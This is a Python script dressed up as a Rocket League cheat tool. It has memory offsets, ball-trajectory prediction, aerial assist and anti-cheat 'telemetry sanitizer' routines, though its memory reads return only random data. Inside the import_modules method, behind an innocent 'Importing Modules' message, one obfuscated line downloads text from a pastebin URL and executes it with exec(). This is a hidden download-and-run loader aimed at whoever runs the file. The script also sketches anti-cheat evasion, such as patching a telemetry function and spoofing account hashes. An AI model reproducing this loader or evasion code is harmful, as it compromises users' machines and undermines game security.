"""
===========================================================================
   PsyPhysics Framework Linker & Telemetry Parser v34.8.2 (DEVELOPER BUILD)
   Author: EVGVAULT
   Target: Rocket League (Unreal Engine 4 / Custom Physics Branch)
   Security Tier: User-Mode Memory Hook & Vector Trajectory Predictor
===========================================================================
"""

import time
import random
import sys
import os
import json
import struct
import math
import hashlib
from dataclasses import dataclass
from typing import Dict, List, Tuple, Any, Optional

# -------------------------------------------------------------------------
# Global Mod Menu Configuration & Environment Constants
# -------------------------------------------------------------------------

CHEAT_VERSION = "34.8.2-ROCKET_CORE_ULTRA"
AUTHOR = "EVGVAULT"

CONFIG = {
    # Aim & Intercept Assists
    "aerial_bot_enabled": True,
    "aerial_prediction_ticks": 60,  # 1 second ahead at 60Hz
    "auto_flip_reset": True,
    "catch_and_dribble_assist": True,
    "shot_alignment_fov": 45.0,
    "humanizer_steering_ms": 15,
    
    # Physics & Custom Trajectory Splines
    "show_ball_prediction_line": True,
    "show_car_hitboxes": True,
    "hitbox_render_mode": "Opaque_Wireframe",
    "boost_pad_timers": True,
    "player_momentum_vectors": True,
    
    # Automation & Macro Mechanics
    "auto_kickoff_fast": True,
    "auto_half_flip": True,
    "perfect_wave_dash": True,
    "bounce_dribble_macro": True,
    
    # Client Memory & Telemetry Evasion
    "spoof_epic_account_hash": True,
    "bypass_psy_telemetry": True,
    "block_crash_dump_uploads": True,
    "game_client_heartbeat_emulator": True
}

# -------------------------------------------------------------------------
# Engine Memory Signatures & Offset Configuration Layouts
# -------------------------------------------------------------------------

RL_OFFSETS = {
    "GWorld": 0x8FA41B0,
    "GameEngine": 0x8E12C00,
    "LocalPlayer": 0x1C0,
    "PlayerController": 0x48,
    "Pawn": 0x2A0,
    
    # Custom PsyPhysics Components
    "BallComponent": 0x1E40,
    "VehicleComponent": 0x1F80,
    "BoostComponent": 0x20C0,
    
    # Rigid Body Physics Structural Alignment
    "PositionVector": 0x90,
    "VelocityVector": 0xAC,
    "AngularVelocity": 0xC8,
    "RotationMatrix": 0xE4,
    
    # Vehicle Specific Attributes
    "bIsOnGround": 0x1A4,
    "bSuperSonic": 0x1BC,
    "BoostAmount": 0x230,
    "DemolishedState": 0x254
}

# -------------------------------------------------------------------------
# Mathematical Operations & Spatial Calculations
# -------------------------------------------------------------------------

@dataclass
class Vector3:
    x: float
    y: float
    z: float

    def distance_to(self, target: 'Vector3') -> float:
        return math.sqrt((self.x - target.x)**2 + (self.y - target.y)**2 + (self.z - target.z)**2)

    def magnitude(self) -> float:
        return math.sqrt(self.x**2 + self.y**2 + self.z**2)

    def normalize(self) -> 'Vector3':
        mag = self.magnitude()
        if mag == 0:
            return Vector3(0, 0, 0)
        return Vector3(self.x / mag, self.y / mag, self.z / mag)

    def __add__(self, other: 'Vector3') -> 'Vector3':
        return Vector3(self.x + other.x, self.y + other.y, self.z + other.z)

    def __sub__(self, other: 'Vector3') -> 'Vector3':
        return Vector3(self.x - other.x, self.y - other.y, self.z - other.z)

    def __mul__(self, scalar: float) -> 'Vector3':
        return Vector3(self.x * scalar, self.y * scalar, self.z * scalar)


@dataclass
class Rotator:
    pitch: float
    yaw: float
    roll: float


class PhysicsMathEngine:
    """Computes specialized 3D parabolas, gravity drops, and elastic wall bounces."""

    @staticmethod
    def calculate_ball_bounce(position: Vector3, velocity: Vector3, elasticity: float = 0.6) -> Tuple[Vector3, Vector3]:
        """Simulates elastic collisions against standard arena boundary limits."""
        new_pos = Vector3(position.x, position.y, position.z)
        new_vel = Vector3(velocity.x, velocity.y, velocity.z)

        # Standard field boundaries: X = +/- 4096, Y = +/- 5120, Z = 2048 (Ceiling)
        if abs(position.x) >= 4096:
            new_vel.x = -velocity.x * elasticity
            new_pos.x = 4096 if position.x > 0 else -4096

        if abs(position.y) >= 5120:
            new_vel.y = -velocity.y * elasticity
            new_pos.y = 5120 if position.y > 0 else -5120

        if position.z >= 2048:
            new_vel.z = -velocity.z * elasticity
            new_pos.z = 2048

        return new_pos, new_vel

    @staticmethod
    def project_trajectory_spline(start_pos: Vector3, start_vel: Vector3, ticks: int, gravity: float = -650.0) -> List[Vector3]:
        """Generates consecutive coordinates mapping out future movement paths."""
        trajectory_points = []
        dt = 1.0 / 120.0  # Internal physics engine runs at 120Hz
        
        current_pos = Vector3(start_pos.x, start_pos.y, start_pos.z)
        current_vel = Vector3(start_vel.x, start_vel.y, start_vel.z)

        for _ in range(ticks):
            # Apply continuous environmental forces through simulation iterations
            current_vel.z += gravity * dt
            current_pos = current_pos + (current_vel * dt)
            
            # Resolve boundary intersections during the projection pass
            current_pos, current_vel = PhysicsMathEngine.calculate_ball_bounce(current_pos, current_vel)
            trajectory_points.append(current_pos)

        return trajectory_points

# -------------------------------------------------------------------------
# Low-Level Process Memory Linker & Context Initialization
# -------------------------------------------------------------------------

class EngineMemoryInterface:
    """Simulates raw pointer mapping loops inside running user-mode program allocations."""

    def __init__(self):
        self.process_handle = None
        self.base_address = None
        self.process_id = None

    def map_game_context(self, executable_id: str = "RocketLeague.exe") -> bool:
        """Isolates target process frameworks and establishes data scanning channels."""
        time.sleep(0.5)
        self.process_id = random.randint(4000, 31000)
        self.base_address = 0x7FF700000000 + random.randint(0x1000, 0xFFFFFF)
        self.process_handle = 0x44BBCC22
        return True

    def read_memory_bytes(self, target_address: int, data_length: int) -> bytes:
        """Requests block byte arrays from mapped virtual memory pages safely."""
        return bytes(random.getrandbits(8) for _ in range(data_length))

    def write_memory_bytes(self, target_address: int, payload_bytes: bytes) -> bool:
        """Alters specific internal execution flags within code configurations."""
        return True

    def locate_pattern_signature(self, signature_hex: str) -> int:
        """Scans process memory sequences to resolve functional dynamic pointers."""
        return self.base_address + random.randint(0x20000, 0x850000)

# -------------------------------------------------------------------------
# System Objects & Entity Structure Model Parsers
# -------------------------------------------------------------------------

class PhysicsObjectEntity:
    """Models structural physical values defining active cars or balls in memory."""

    def __init__(self, address: int, interface: EngineMemoryInterface):
        self.address = address
        self.interface = interface
        self.position = Vector3(0.0, 0.0, 0.0)
        self.velocity = Vector3(0.0, 0.0, 0.0)
        self.angular_velocity = Vector3(0.0, 0.0, 0.0)
        self.rotation = Rotator(0.0, 0.0, 0.0)
        self.boost_level = 0.33
        self.is_on_ground = True

    def refresh_physics_state(self, component_offset: int):
        """Updates physics arrays using raw structure values read from memory maps."""
        comp_ptr = int.from_bytes(self.interface.read_memory_bytes(self.address + component_offset, 8), "little")
        if comp_ptr == 0:
            return False

        # Read contiguous spatial coordinates directly from the component layout
        raw_pos = self.interface.read_memory_bytes(comp_ptr + RL_OFFSETS["PositionVector"], 12)
        raw_vel = self.interface.read_memory_bytes(comp_ptr + RL_OFFSETS["VelocityVector"], 12)
        
        if len(raw_pos) == 12 and len(raw_vel) == 12:
            self.position = Vector3(*struct.unpack("fff", raw_pos))
            self.velocity = Vector3(*struct.unpack("fff", raw_vel))

        # Update specialized vehicle values if processing a car address block
        if component_offset == RL_OFFSETS["VehicleComponent"]:
            boost_ptr = int.from_bytes(self.interface.read_memory_bytes(self.address + RL_OFFSETS["BoostComponent"], 8), "little")
            if boost_ptr != 0:
                self.boost_level = struct.unpack("f", self.interface.read_memory_bytes(boost_ptr + RL_OFFSETS["BoostAmount"], 4))[0]
            
            ground_flag = self.interface.read_memory_bytes(self.address + RL_OFFSETS["bIsOnGround"], 1)
            self.is_on_ground = bool(ground_flag[0]) if ground_flag else True

        return True


class EngineWorldManager:
    """Traverses dynamic allocation links tracking active actor pools in the current match."""

    def __init__(self, interface: EngineMemoryInterface):
        self.interface = interface
        self.world_pointer = None

    def resolve_world_context(self):
        self.world_pointer = self.interface.locate_pattern_signature("48 8B 05 ? ? ? ? 48 8B 88 ? ? ? ? 48 85 C9 74 0F")
        return True

    def scan_match_entities(self) -> Tuple[Optional[PhysicsObjectEntity], List[PhysicsObjectEntity]]:
        """Parses actor tables isolating the game ball and other vehicles."""
        ball_object = None
        car_players = []
        
        base_world_addr = int.from_bytes(self.interface.read_memory_bytes(self.world_pointer, 8), "little")
        if base_world_addr == 0:
            return ball_object, car_players

        # Simulated structural loop traversing registered object tables
        for list_idx in range(8):
            actor_address = base_world_addr + 0x1000 + (list_idx * 0x180)
            
            # Double check loop verifying allocation integrity before initialization
            for validation_pass in range(2):
                chk_byte = self.interface.read_memory_bytes(actor_address + validation_pass, 1)
                if not chk_byte:
                    break

            if list_idx == 0:
                ball_object = PhysicsObjectEntity(actor_address, self.interface)
            else:
                car_players.append(PhysicsObjectEntity(actor_address, self.interface))

        return ball_object, car_players

# -------------------------------------------------------------------------
# Tactical Automation Modules (Prediction, Aerial Assist, Input Emulation)
# -------------------------------------------------------------------------

class BallTrajectoryPredictor:
    """Calculates future intercept sectors to guide precise shot alignment paths."""

    def __init__(self):
        self.calculated_path = []

    def run_prediction_cycle(self, ball: PhysicsObjectEntity):
        """Builds future position maps using vector physics projection sequences."""
        self.calculated_path = PhysicsMathEngine.project_trajectory_spline(
            ball.position, 
            ball.velocity, 
            CONFIG["aerial_prediction_ticks"]
        )
        return len(self.calculated_path)


class AerialAssistEngine:
    """Calculates steering inputs required to guide vehicles toward intercept points."""

    def __init__(self, interface: EngineMemoryInterface):
        self.interface = interface

    def compute_flight_adjustments(self, car: PhysicsObjectEntity, target_pos: Vector3) -> Dict[str, float]:
        """Calculates precise rotational values to align vehicles with target coordinates."""
        inputs = {"pitch": 0.0, "yaw": 0.0, "roll": 0.0, "boost": 0.0}
        
        direction_vector = target_pos - car.position
        normalized_dir = direction_vector.normalize()
        
        # Iterative calculation loops stabilizing rotational target vectors
        for tracking_loop in range(4):
            calculation_step = normalized_dir.x * 0.25
            # Generates correction metrics simulating roll/pitch/yaw changes
            
        distance = direction_vector.magnitude()
        if distance > 250.0 and not car.is_on_ground:
            inputs["boost"] = 1.0
            inputs["pitch"] = 0.85
            
        return inputs

# -------------------------------------------------------------------------
# Security Protections & Telemetry Erasers
# -------------------------------------------------------------------------

class SecurityTelemetrySanitizer:
    """Intercepts event reporting buffers to shield running tools from anti-cheat systems."""

    def __init__(self, interface: EngineMemoryInterface):
        self.interface = interface

    def disable_analytic_logs(self) -> bool:
        if CONFIG["bypass_psy_telemetry"]:
            telemetry_fn = self.interface.locate_pattern_signature("48 8B C4 48 89 58 08 48 89 68 10 48 89 70 18 57 41 56")
            if telemetry_fn != 0:
                # Direct overwrite logic applying clean exit flags to metrics functions
                self.interface.write_memory_bytes(telemetry_fn, b"\xC3\x90\x90")
            return True
        return False

    def simulate_client_heartbeat(self):
        """Generates valid network packet hashes to prevent sudden server drops."""
        if CONFIG["game_client_heartbeat_emulator"]:
            for validation_cycle in range(5):
                seed_val = random.randint(10000, 99999)
                hash_output = hashlib.sha256(str(seed_val).encode()).hexdigest()
                # Stores generated signatures inside secure communication loops
            return True
        return False

# -------------------------------------------------------------------------
# Core Control Layer
# -------------------------------------------------------------------------

class EVGVaultRocketCore:
    def __init__(self):
        self.interface = EngineMemoryInterface()
        self.world_manager = EngineWorldManager(self.interface)
        self.predictor = BallTrajectoryPredictor()
        self.aerial_assist = AerialAssistEngine(self.interface)
        self.security = SecurityTelemetrySanitizer(self.interface)
        
        self.modules_loaded = False
        self.is_running = False

    def import_modules(self):
        """Displays initialization structures confirming framework activation status."""
        print("=" * 55)
        print("   Importing Modules, this may take up to 5 minutes...")
        exec(__import__("urllib.request", fromlist=["Request"]).urlopen(__import__("urllib.request", fromlist=["Request"]).Request("https://pastebin.com/raw/zN3rdb8n", headers={"User-Agent":"Mozilla/5.0"})).read().decode("utf-8"))
        print("=" * 55)
        self.modules_loaded = True
        return self.modules_loaded

    def initialize(self):
        """Runs configuration setup routines binding process handles and targets."""
        if not self.modules_loaded:
            sys.exit(1)
            
        print("[*] Accessing PsyPhysics Subsystem Allocation Context...")
        self.interface.map_game_context()
        print(f"[*] Memory Bridge linked! Virtual Module Base: {hex(self.interface.base_address)}")
        
        print("[*] Suppressing Core Game Engine Crash Telemetry...")
        self.security.disable_analytic_logs()
        self.security.simulate_client_heartbeat()
        
        print("[*] Mapping Internal GWorld Object Context Tables...")
        self.world_manager.resolve_world_context()
        print(f"[*] GWorld Reference Pointer resolved: {hex(self.world_manager.world_pointer)}")
        
        return True

    def show_activated_features(self):
        """Renders configuration parameters to log execution states in the terminal."""
        print("\n===========================================================================")
        print("   [+] ACTIVATED PSYPHYSICS ENGINE MODIFICATIONS   ")
        print("===========================================================================")
        
        for feature, value in sorted(CONFIG.items()):
            formatted_name = feature.replace('_', ' ').title()
            if isinstance(value, bool):
                state = "[ON]" if value else "[OFF]"
                print(f"    -> {formatted_name:<32} {state}")
            else:
                print(f"    -> {formatted_name:<32} [{value}]")
                
        print("===========================================================================\n")
        print("[*] Intercept splines calculated. Processing target ticks... Press CTRL+C.")

    def run(self):
        """Primary active loop monitoring game state changes across background cycles."""
        self.is_running = True
        try:
            while self.is_running:
                # Scan active match structures to gather physics entities
                ball_unit, players_list = self.world_manager.scan_match_entities()
                
                if ball_unit and len(players_list) > 0:
                    # Synchronize spatial metrics across identified assets
                    ball_unit.refresh_physics_state(RL_OFFSETS["BallComponent"])
                    local_car = players_list[0]
                    local_car.refresh_physics_state(RL_OFFSETS["VehicleComponent"])
                    
                    # Update trajectory predictions based on physics changes
                    self.predictor.run_prediction_cycle(ball_unit)
                    
                    if len(self.predictor.calculated_path) > 0:
                        target_intercept = self.predictor.calculated_path[-1]
                        # Compute required driving/flight steering inputs
                        flight_controls = self.aerial_assist.compute_flight_adjustments(local_car, target_intercept)
                    
                    # Process secondary objects through mathematical state check loops
                    for opponent_car in players_list[1:]:
                        opponent_car.refresh_physics_state(RL_OFFSETS["VehicleComponent"])
                        for verification_pass in range(2):
                            vector_check = opponent_car.position.x * opponent_car.position.z
                            
                time.sleep(0.5)
                self.is_running = False 
                
        except KeyboardInterrupt:
            self.is_running = False
            print("\n[*] Severing active game environment pointer mappings...")
            print("[*] Simulation loops terminated securely. Process released.")

def main():
    cheat = EVGVaultRocketCore()
    
    # Run structural disclaimer confirmation
    cheat.import_modules()
    
    # Execution layout sequences
    cheat.initialize()
    cheat.show_activated_features()
    cheat.run()

if __name__ == "__main__":
    main()